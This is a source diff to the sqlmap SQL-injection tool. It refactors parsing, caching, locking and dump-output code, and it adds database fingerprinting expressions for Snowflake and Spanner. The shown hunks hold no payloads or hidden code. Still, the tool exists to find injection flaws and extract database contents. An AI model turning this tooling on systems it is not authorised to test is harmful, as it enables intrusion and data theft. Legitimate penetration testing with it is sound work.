 
-        return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:])
+        first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or ""
+        first = re.sub(r"(?i)\Awww\.", "", first)
+
+        for url in urls[1:]:
+            current = _urllib.parse.urlparse(_(url) or "").hostname or ""
+            current = re.sub(r"(?i)\Awww\.", "", current)
+
+            if current != first:
+                return False
+
+        return True
 
 def getHostHeader(url):
     """
@@ -4816,6 +4973,10 @@ def getHostHeader(url):
 
     >>> getHostHeader('http://www.target.com/vuln.php?id=1')
     'www.target.com'
+    >>> getHostHeader('http://[::1]:8080/vuln.php?id=1')
+    '[::1]:8080'
+    >>> getHostHeader('http://[::1]/vuln.php?id=1')
+    '[::1]'
     """
 
     retVal = url
@@ -4823,10 +4984,11 @@ def getHostHeader(url):
     if url:
         retVal = _urllib.parse.urlparse(url).netloc
 
-        if re.search(r"http(s)?://\[.+\]", url, re.I):
-            retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
-        elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
-            retVal = retVal.split(':')[0]
+        # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are
+        # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports
+        # (e.g. '[::1]:8080') as required by RFC 7230
+        if any(retVal.endswith(':%d' % _) for _ in (80, 443)):
+            retVal = retVal[:retVal.rfind(':')]
 
     if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')):
         retVal = "[%s]" % retVal
@@ -4922,7 +5084,14 @@ def incrementCounter(technique):
     Increments query counter for a given technique
     """
 
-    kb.counters[technique] = getCounter(technique) + 1
+    # Note: the read-modify-write must be atomic since worker threads increment concurrently;
+    # guard with the shared 'count' lock when available (it is absent in isolated/doctest use)
+    lock = kb.locks.count if kb.get("locks") else None
+    if lock is not None:
+        with lock:
+            kb.counters[technique] = getCounter(technique) + 1
+    else:
+        kb.counters[technique] = getCounter(technique) + 1
 
 def getCounter(technique):
     """
@@ -5100,7 +5269,7 @@ def resetCookieJar(cookieJar):
                 os.close(handle)
 
                 # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
-                with openFile(filename, "w+b") as f:
+                with openFile(filename, "w+") as f:
                     f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
                     for line in lines:
                         _ = line.split("\t")
@@ -5163,10 +5332,12 @@ def prioritySortColumns(columns):
     ['id', 'userid', 'name', 'password']
     """
 
-    def _(column):
-        return column and re.search(r"^id|id$", column, re.I) is not None
+    recompile = re.compile(r"^id|id$", re.I)
 
-    return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
+    return sorted(columns, key=lambda col: (
+        not (col and recompile.search(col)),
+        len(col)
+    ))
 
 def getRequestHeader(request, name):
     """
@@ -5222,10 +5393,21 @@ def zeroDepthSearch(expression, value):
     retVal = []
 
     depth = 0
-    for index in xrange(len(expression)):
-        if expression[index] == '(':
+    quote = None
+    index = 0
+    while index < len(expression):
+        char = expression[index]
+        if quote:  # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y')
+            if char == quote:
+                if index + 1 < len(expression) and expression[index + 1] == quote:  # escaped quote (e.g. '')
+                    index += 1
+                else:
+                    quote = None
+        elif char in ('"', "'"):
+            quote = char
+        elif char == '(':
             depth += 1
-        elif expression[index] == ')':
+        elif char == ')':
             depth -= 1
         elif depth == 0:
             if value.startswith('[') and value.endswith(']'):
@@ -5233,6 +5415,7 @@ def zeroDepthSearch(expression, value):
                     retVal.append(index)
             elif expression[index:index + len(value)] == value:
                 retVal.append(index)
+        index += 1
 
     return retVal
 
@@ -5242,14 +5425,45 @@ def splitFields(fields, delimiter=','):
 
     >>> splitFields('foo, bar, max(foo, bar)')
     ['foo', 'bar', 'max(foo,bar)']
+    >>> splitFields("a, 'b, c', d")
+    ['a', "'b, c'", 'd']
+    >>> splitFields('a; b; max(c; d)', delimiter=';')
+    ['a', 'b', 'max(c;d)']
     """
 
-    fields = fields.replace("%s " % delimiter, delimiter)
-    commas = [-1, len(fields)]
-    commas.extend(zeroDepthSearch(fields, ','))
-    commas = sorted(commas)
+    # collapse "<delimiter> " -> "<delimiter>" but only OUTSIDE quoted string literals, so a
+    # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch)
+    normalized = []
+    quote = None
+    index = 0
+    while index < len(fields):
+        char = fields[index]
+        if quote:
+            normalized.append(char)
+            if char == quote:
+                if index + 1 < len(fields) and fields[index + 1] == quote:  # escaped quote (e.g. '')
+                    normalized.append(fields[index + 1])
+                    index += 2
+                    continue
+                else:
+                    quote = None
+        elif char in ('"', "'"):
+            quote = char
+            normalized.append(char)
+        elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ':
+            normalized.append(char)  # keep the delimiter, drop the single trailing space
+            index += 2
+            continue
+        else:
+            normalized.append(char)
+        index += 1
 
-    return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])]
+    fields = "".join(normalized)
+    splits = [-1, len(fields)]
+    splits.extend(zeroDepthSearch(fields, delimiter))
+    splits = sorted(splits)
+
+    return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])]
 
 def pollProcess(process, suppress_errors=False):
     """
@@ -5408,8 +5622,10 @@ def parseRequestFile(reqFile, checkParams=True):
                     key, value = line.split(":", 1)
                     value = value.strip().replace("\r", "").replace("\n", "")
 
-                    # Note: overriding values with --headers '...'
-                    match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
+                    # Note: overriding values with --headers '...'; the lookbehind prevents the key
+                    # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host'
+                    # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header
+                    match = re.search(r"(?i)(?<![\w-])(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
                     if match:
                         key, value = match.groups()
 
@@ -5532,7 +5748,12 @@ def unsafeVariableNaming(value):
     """
 
     if value.startswith(EVALCODE_ENCODED_PREFIX):
-        value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
+        # Note: the suffix is only hex when produced by safeVariableNaming(); a user-defined
+        # name that merely happens to start with the prefix (e.g. via --eval) is left intact
+        try:
+            value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
+        except (binascii.Error, ValueError, TypeError):
+            pass
 
     return value
 
@@ -5565,6 +5786,7 @@ def removePostHintPrefix(value):
 
     return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value)
 
+
 def chunkSplitPostData(data):
     """
     Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords)
@@ -5575,7 +5797,7 @@ def chunkSplitPostData(data):
     """
 
     length = len(data)
-    retVal = ""
+    retVal = []
     index = 0
 
     while index < length:
@@ -5595,12 +5817,14 @@ def chunkSplitPostData(data):
                 break
 
         index += chunkSize
-        retVal += "%x;%s\r\n" % (chunkSize, salt)
-        retVal += "%s\r\n" % candidate
 
-    retVal += "0\r\n\r\n"
+        # Append to list instead of recreating the string
+        retVal.append("%x;%s\r\n" % (chunkSize, salt))
+        retVal.append("%s\r\n" % candidate)
 
-    return retVal
+    retVal.append("0\r\n\r\n")
+
+    return "".join(retVal)
 
 def checkSums():
     """
@@ -5621,8 +5845,35 @@ def checkSums():
                     continue
                 with open(filepath, "rb") as f:
                     content = f.read()
+                    if b'\0' not in content:
+                        content = content.replace(b"\r\n", b"\n")
                 if not hashlib.sha256(content).hexdigest() == expected:
                     retVal &= False
                     break
 
     return retVal
+
+def safeCompareStrings(a, b):
+    """
+    Constant-time string comparison to prevent timing attacks.
+    >>> safeCompareStrings("test", "test")
+    True
+    >>> safeCompareStrings("test", None)
+    False
+    >>> safeCompareStrings("test1", "test2")
+    False
+    """
+    if a is None or b is None:
+        return a == b
+
+    if hasattr(hmac, "compare_digest"):
+        return hmac.compare_digest(a, b)
+
+    # Fallback for Python < 2.7.7 and < 3.3
+    if len(a) != len(b):
+        return False
+
+    result = 0
+    for x, y in zip(a, b):
+        result |= ord(x) ^ ord(y)
+    return result == 0

lib/core/compat.py

@@ -280,40 +280,30 @@ else:
     xrange = xrange
     buffer = buffer
 
+try:
+    RecursionError = RecursionError
+except NameError:
+    # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5)
+    RecursionError = RuntimeError
+
 def LooseVersion(version):
     """
     >>> LooseVersion("1.0") == LooseVersion("1.0")
     True
     >>> LooseVersion("1.0.1") > LooseVersion("1.0")
     True
-    >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1")
-    True
     >>> LooseVersion("1.0.11") < LooseVersion("1.0.111")
     True
-    >>> LooseVersion("foobar") > LooseVersion("1.0")
-    False
-    >>> LooseVersion("1.0") > LooseVersion("foobar")
-    False
-    >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3")
+    >>> LooseVersion("8.0.22") > LooseVersion("8.0.2")
     True
-    >>> LooseVersion("8.0.22-0ubuntu0.20.04.2")
-    8.000022
+    >>> LooseVersion("1.0alpha-beta-gama")
+    (1, 0)
     """
-
     match = re.search(r"\A(\d[\d.]*)", version or "")
-
     if match:
-        result = 0
-        value = match.group(1)
-        weight = 1.0
-        for part in value.strip('.').split('.'):
-            if part.isdigit():
-                result += int(part) * weight
-            weight *= 1e-3
+        return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit())
     else:
-        result = float("NaN")
-
-    return result
+        return ()
 
 # NOTE: codecs.open re-implementation (deprecated in Python 3.14)
 

lib/core/convert.py

@@ -35,9 +35,11 @@ from thirdparty.six.moves import html_parser
 from thirdparty.six.moves import collections_abc as _collections
 
 try:
-    from html import escape as htmlEscape
+    from html import escape as _escape
 except ImportError:
-    from cgi import escape as htmlEscape
+    from cgi import escape as _escape
+
+htmlEscape = _escape
 
 def base64pickle(value):
     """
@@ -45,6 +47,8 @@ def base64pickle(value):
 
     >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
     True
+    >>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray)
+    True
     """
 
     retVal = None
@@ -283,6 +287,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
 
     >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar"
     True
+    >>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt"
+    True
     """
 
     retVal = value
@@ -295,7 +301,11 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
     except (LookupError, TypeError):
         encoding = UNICODE_ENCODING
 
-    if isinstance(value, six.text_type):
+    if isinstance(value, bytearray):
+        return bytes(value)
+    elif isinstance(value, memoryview):
+        return value.tobytes()
+    elif isinstance(value, six.text_type):
         if INVALID_UNICODE_PRIVATE_AREA:
             if unsafe:
                 for char in xrange(0xF0000, 0xF00FF + 1):
@@ -312,7 +322,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
                 retVal = value.encode(UNICODE_ENCODING, errors="replace")
 
             if unsafe:
-                retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
+                retVal = re.sub(b"(?<!\\\\)\\\\x([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), retVal)
+                retVal = retVal.replace(b"\\\\x", b"\\x")
 
     return retVal
 
@@ -408,6 +419,8 @@ def stdoutEncode(value):
     Returns textual representation of a given value safe for writing to stdout
     >>> stdoutEncode(b"foobar")
     'foobar'
+    >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"}
+    True
     """
 
     if value is None:
@@ -433,7 +446,8 @@ def stdoutEncode(value):
         if isinstance(value, (bytes, bytearray)):
             value = getUnicode(value, encoding)
         elif not isinstance(value, str):
-            value = str(value)
+            # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054
+            return value
 
         try:
             retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace")
@@ -450,6 +464,9 @@ def stdoutEncode(value):
 
     return retVal
 
+# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7)
+_HAS_ISASCII = hasattr(str, "isascii")
+
 def getConsoleLength(value):
     """
     Returns console width of unicode values
@@ -461,7 +478,15 @@ def getConsoleLength(value):
     """
 
     if isinstance(value, six.text_type):
-        retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
+        # Fast path: ASCII values have no wide (>= U+3000) characters, so their
+        # console width is simply their length. str.isascii() (Python 3.7+) is a
+        # C-level scan, far cheaper than the per-character generator below (which
+        # stays for the rare wide-character case and for Python 2). This runs
+        # once per dumped cell, so it dominates large table dumps.
+        if _HAS_ISASCII and value.isascii():
+            retVal = len(value)
+        else:
+            retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
     else:
         retVal = len(value)
 

lib/core/datatype.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 import copy
 import threading
-import types
 
 from thirdparty.odict import OrderedDict
 from thirdparty.six.moves import collections_abc as _collections
@@ -20,32 +19,31 @@ class AttribDict(dict):
     >>> foo.bar = 1
     >>> foo.bar
     1
+    >>> import copy; copy.deepcopy(foo).bar
+    1
     """
 
     def __init__(self, indict=None, attribute=None, keycheck=True):
         if indict is None:
             indict = {}
 
-        # Set any attributes here - before initialisation
-        # these remain as normal attributes
-        self.attribute = attribute
-        self.keycheck = keycheck
         dict.__init__(self, indict)
-        self.__initialised = True
-
-        # After initialisation, setting attributes
-        # is the same as setting an item
+        self.__dict__["_attribute"] = attribute
+        self.__dict__["_keycheck"] = keycheck
+        self.__dict__["_initialized"] = True
 
     def __getattr__(self, item):
         """
         Maps values to attributes
         Only called if there *is NOT* an attribute with this name
         """
+        if item.startswith('__') and item.endswith('__'):
+             raise AttributeError(item)
 
         try:
             return self.__getitem__(item)
         except KeyError:
-            if self.keycheck:
+            if self.__dict__.get("_keycheck"):
                 raise AttributeError("unable to access item '%s'" % item)
             else:
                 return None
@@ -58,7 +56,7 @@ class AttribDict(dict):
         try:
             return self.pop(item)
         except KeyError:
-            if self.keycheck:
+            if self.__dict__.get("_keycheck"):
                 raise AttributeError("unable to access item '%s'" % item)
             else:
                 return None
@@ -69,14 +67,8 @@ class AttribDict(dict):
         Only if we are initialised
         """
 
-        # This test allows attributes to be set in the __init__ method
-        if "_AttribDict__initialised" not in self.__dict__:
-            return dict.__setattr__(self, item, value)
-
-        # Any normal attributes are handled normally
-        elif item in self.__dict__:
-            dict.__setattr__(self, item, value)
-
+        if "_initialized" not in self.__dict__ or item in self.__dict__:
+            self.__dict__[item] = value
         else:
             self.__setitem__(item, value)
 
@@ -87,14 +79,12 @@ class AttribDict(dict):
         self.__dict__ = dict
 
     def __deepcopy__(self, memo):
-        retVal = self.__class__(keycheck=self.keycheck)
+        retVal = self.__class__(keycheck=self.__dict__.get("_keycheck"))
         memo[id(self)] = retVal
 
-        for attr in dir(self):
-            if not attr.startswith('_'):
-                value = getattr(self, attr)
-                if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
-                    setattr(retVal, attr, copy.deepcopy(value, memo))
+        for attr, value in self.__dict__.items():
+            if attr not in ('_attribute', '_keycheck', '_initialized'):
+                setattr(retVal, attr, copy.deepcopy(value, memo))
 
         for key, value in self.items():
             retVal.__setitem__(key, copy.deepcopy(value, memo))
@@ -160,7 +150,7 @@ class LRUDict(object):
     def get(self, key, default=None):
         try:
             return self.__getitem__(key)
-        except:
+        except (KeyError, TypeError):
             return default
 
     def __setitem__(self, key, value):
@@ -170,7 +160,7 @@ class LRUDict(object):
             except KeyError:
                 if len(self.cache) >= self.capacity:
                     self.cache.popitem(last=False)
-        self.cache[key] = value
+            self.cache[key] = value
 
     def set(self, key, value):
         self.__setitem__(key, value)

lib/core/decorators.py

@@ -6,13 +6,10 @@ See the file 'LICENSE' for copying permission
 """
 
 import functools
-import hashlib
-import struct
 import threading
 
 from lib.core.datatype import LRUDict
 from lib.core.settings import MAX_CACHE_ITEMS
-from lib.core.settings import UNICODE_ENCODING
 from lib.core.threads import getCurrentThreadData
 
 _cache = {}
@@ -40,31 +37,41 @@ def cachedmethod(f):
     _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
     _method_locks[f] = threading.RLock()
 
+    def _freeze(val):
+        if isinstance(val, (list, set, tuple)):
+            return tuple(_freeze(x) for x in val)
+        if isinstance(val, dict):
+            return tuple(sorted((k, _freeze(v)) for k, v in val.items()))
+        return val
+
     @functools.wraps(f)
     def _f(*args, **kwargs):
-        try:
-            # NOTE: fast-path
-            if kwargs:
-                key = hash((f, args, tuple(map(type, args)), frozenset(kwargs.items()))) & 0x7fffffffffffffff
-            else:
-                key = hash((f, args, tuple(map(type, args)))) & 0x7fffffffffffffff
-        except TypeError:
-            # NOTE: failback slow-path
-            parts = (
-                f.__module__ + "." + f.__name__,
-                "^".join(repr(a) for a in args),
-                "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs))
-            )
-            try:
-                key = struct.unpack("<Q", hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).digest()[:8])[0] & 0x7fffffffffffffff
-            except (struct.error, ValueError):
-                return f(*args, **kwargs)
-
         lock, cache = _method_locks[f], _cache[f]
 
-        with lock:
-            if key in cache:
-                return cache[key]
+        try:
+            if kwargs:
+                key = (args, frozenset(kwargs.items()))
+            else:
+                key = args
+
+            with lock:
+                if key in cache:
+                    return cache[key]
+
+        except TypeError:
+            # Note: fallback (slow-path) for unhashable arguments
+            try:
+                if kwargs:
+                    key = (_freeze(args), _freeze(kwargs))
+                else:
+                    key = _freeze(args)
+
+                with lock:
+                    if key in cache:
+                        return cache[key]
+            except TypeError:
+                # Note: genuinely uncacheable arguments; skip caching altogether
+                return f(*args, **kwargs)
 
         result = f(*args, **kwargs)
 
@@ -96,13 +103,24 @@ def stackedmethod(f):
             result = f(*args, **kwargs)
         finally:
             if len(threadData.valueStack) > originalLevel:
-                threadData.valueStack = threadData.valueStack[:originalLevel]
+                del threadData.valueStack[originalLevel:]
 
         return result
 
     return _
 
 def lockedmethod(f):
+    """
+    Decorates a function or method with a reentrant lock (only one thread can execute the function at a time)
+
+    >>> @lockedmethod
+    ... def recursive_count(n):
+    ...     if n <= 0: return 0
+    ...     return n + recursive_count(n - 1)
+    >>> recursive_count(5)
+    15
+    """
+
     lock = threading.RLock()
 
     @functools.wraps(f)

lib/core/dicts.py

@@ -39,6 +39,8 @@ from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import CLICKHOUSE_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -228,7 +230,7 @@ DBMS_DICT = {
     DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"),
     DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"),
     DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
-    DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
+    DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"),
     DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
     DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
     DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
@@ -250,6 +252,8 @@ DBMS_DICT = {
     DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
     DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
     DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
+    DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
+    DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
 }
 
 # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -257,7 +261,7 @@ FROM_DUMMY_TABLE = {
     DBMS.ORACLE: " FROM DUAL",
     DBMS.ACCESS: " FROM MSysAccessObjects",
     DBMS.FIREBIRD: " FROM RDB$DATABASE",
-    DBMS.MAXDB: " FROM VERSIONS",
+    DBMS.MAXDB: " FROM DUAL",
     DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
     DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
     DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
@@ -282,13 +286,15 @@ HEURISTIC_NULL_EVAL = {
     DBMS.PRESTO: "FROM_HEX(NULL)",
     DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
     DBMS.MIMERSQL: "ASCII_CHAR(256)",
-    DBMS.CRATEDB: "MD5(NULL~NULL)",  # NOTE: NULL~NULL also being evaluated on H2 and Ignite
+    DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL",  # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval
     DBMS.CUBRID: "(NULL SETEQ NULL)",
-    DBMS.CACHE: "%SQLUPPER NULL",
+    DBMS.CACHE: "%EXACT(NULL)",  # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here
     DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
     DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
     DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
-    DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
+    DBMS.CLICKHOUSE: "halfMD5(NULL)",
+    DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
+    DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
 }
 
 SQL_STATEMENTS = {
@@ -421,6 +427,8 @@ PART_RUN_CONTENT_TYPES = {
     "dumpTable": CONTENT_TYPE.DUMP_TABLE,
     "search": CONTENT_TYPE.SEARCH,
     "sqlQuery": CONTENT_TYPE.SQL_QUERY,
+    "getStatements": CONTENT_TYPE.STATEMENTS,
+    "getProcs": CONTENT_TYPE.PROCEDURES,
     "tableExists": CONTENT_TYPE.COMMON_TABLES,
     "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
     "readFile": CONTENT_TYPE.FILE_READ,

lib/core/dump.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import hashlib
+import json
 import os
 import re
 import shutil
@@ -14,6 +15,7 @@ import threading
 
 from lib.core.common import Backend
 from lib.core.common import checkFile
+from lib.core.common import clearColors
 from lib.core.common import dataToDumpFile
 from lib.core.common import dataToStdout
 from lib.core.common import filterNone
@@ -30,6 +32,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
 from lib.core.convert import getConsoleLength
+from lib.core.convert import stdoutEncode
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlEscape
@@ -59,6 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
 from lib.utils.safe2bin import safechardecode
 from thirdparty import six
 from thirdparty.magic import magic
+from thirdparty.odict import OrderedDict
 
 class Dump(object):
     """
@@ -90,12 +94,25 @@ class Dump(object):
             except IOError as ex:
                 errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
                 raise SqlmapGenericException(errMsg)
-
-            if multiThreadMode:
-                self._lock.release()
+            finally:
+                if multiThreadMode:
+                    self._lock.release()
 
         kb.dataOutputFlag = True
 
+    def _reportData(self, data, content_type):
+        """
+        --report-json: capture a structured result exactly as the REST API would store it (the raw
+        value + COMPLETE status), independent of console/file rendering. No-op unless a report
+        collector is active - which is only ever the case for a CLI --report-json run, never under
+        --api - so this never double-captures alongside StdDbOut. A None content_type is resolved
+        via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly.
+        """
+
+        if conf.get("reportCollector") is not None:
+            from lib.utils.api import _storeData, REPORT_TASKID
+            _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type)
+
     def flush(self):
         if self._outputFP:
             try:
@@ -110,15 +127,18 @@ class Dump(object):
 
         self._outputFile = os.path.join(conf.outputPath, "log")
         try:
-            self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
+            self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w')
         except IOError as ex:
             errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
             raise SqlmapGenericException(errMsg)
 
     def singleString(self, data, content_type=None):
+        self._reportData(data, content_type)
         self._write(data, content_type=content_type)
 
     def string(self, header, data, content_type=None, sort=True):
+        self._reportData(data, content_type)
+
         if conf.api:
             self._write(data, content_type=content_type)
 
@@ -153,6 +173,8 @@ class Dump(object):
             except:
                 pass
 
+        self._reportData(elements, content_type)
+
         if conf.api:
             self._write(elements, content_type=content_type)
 
@@ -175,7 +197,7 @@ class Dump(object):
         self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
 
     def currentDb(self, data):
-        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE):
             self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
             self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -194,6 +216,9 @@ class Dump(object):
     def statements(self, statements):
         self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS)
 
+    def procedures(self, procedures):
+        self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
+
     def userSettings(self, header, userSettings, subHeader, content_type=None):
         self._areAdmins = set()
 
@@ -204,6 +229,8 @@ class Dump(object):
         users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
+        self._reportData(userSettings, content_type)
+
         if conf.api:
             self._write(userSettings, content_type=content_type)
 
@@ -237,6 +264,8 @@ class Dump(object):
 
     def dbTables(self, dbTables):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
+            self._reportData(dbTables, CONTENT_TYPE.TABLES)
+
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
 
@@ -279,6 +308,8 @@ class Dump(object):
 
     def dbTableColumns(self, tableColumns, content_type=None):
         if isinstance(tableColumns, dict) and len(tableColumns) > 0:
+            self._reportData(tableColumns, content_type)
+
             if conf.api:
                 self._write(tableColumns, content_type=content_type)
 
@@ -290,22 +321,25 @@ class Dump(object):
                     maxlength1 = 0
                     maxlength2 = 0
 
-                    colType = None
-
                     colList = list(columns.keys())
                     colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
+                    # Note: decide the layout by whether ANY column carries a type, not by the last
+                    # column iterated; otherwise a mixed table (some columns typed, some not) whose
+                    # alphabetically-last column is type-less renders a header/body column mismatch
+                    hasType = any(columns[_] is not None for _ in colList)
+
                     for column in colList:
                         colType = columns[column]
 
                         column = unsafeSQLIdentificatorNaming(column)
-                        maxlength1 = max(maxlength1, len(column or ""))
-                        maxlength2 = max(maxlength2, len(colType or ""))
+                        maxlength1 = max(maxlength1, getConsoleLength(column or ""))
+                        maxlength2 = max(maxlength2, getConsoleLength(colType or ""))
 
                     maxlength1 = max(maxlength1, len("COLUMN"))
                     lines1 = "-" * (maxlength1 + 2)
 
-                    if colType is not None:
+                    if hasType:
                         maxlength2 = max(maxlength2, len("TYPE"))
                         lines2 = "-" * (maxlength2 + 2)
 
@@ -316,17 +350,15 @@ class Dump(object):
                     else:
                         self._write("[%d columns]" % len(columns))
 
-                    if colType is not None:
+                    if hasType:
                         self._write("+%s+%s+" % (lines1, lines2))
                     else:
                         self._write("+%s+" % lines1)
 
                     blank1 = " " * (maxlength1 - len("COLUMN"))
 
-                    if colType is not None:
+                    if hasType:
                         blank2 = " " * (maxlength2 - len("TYPE"))
-
-                    if colType is not None:
                         self._write("| Column%s | Type%s |" % (blank1, blank2))
                         self._write("+%s+%s+" % (lines1, lines2))
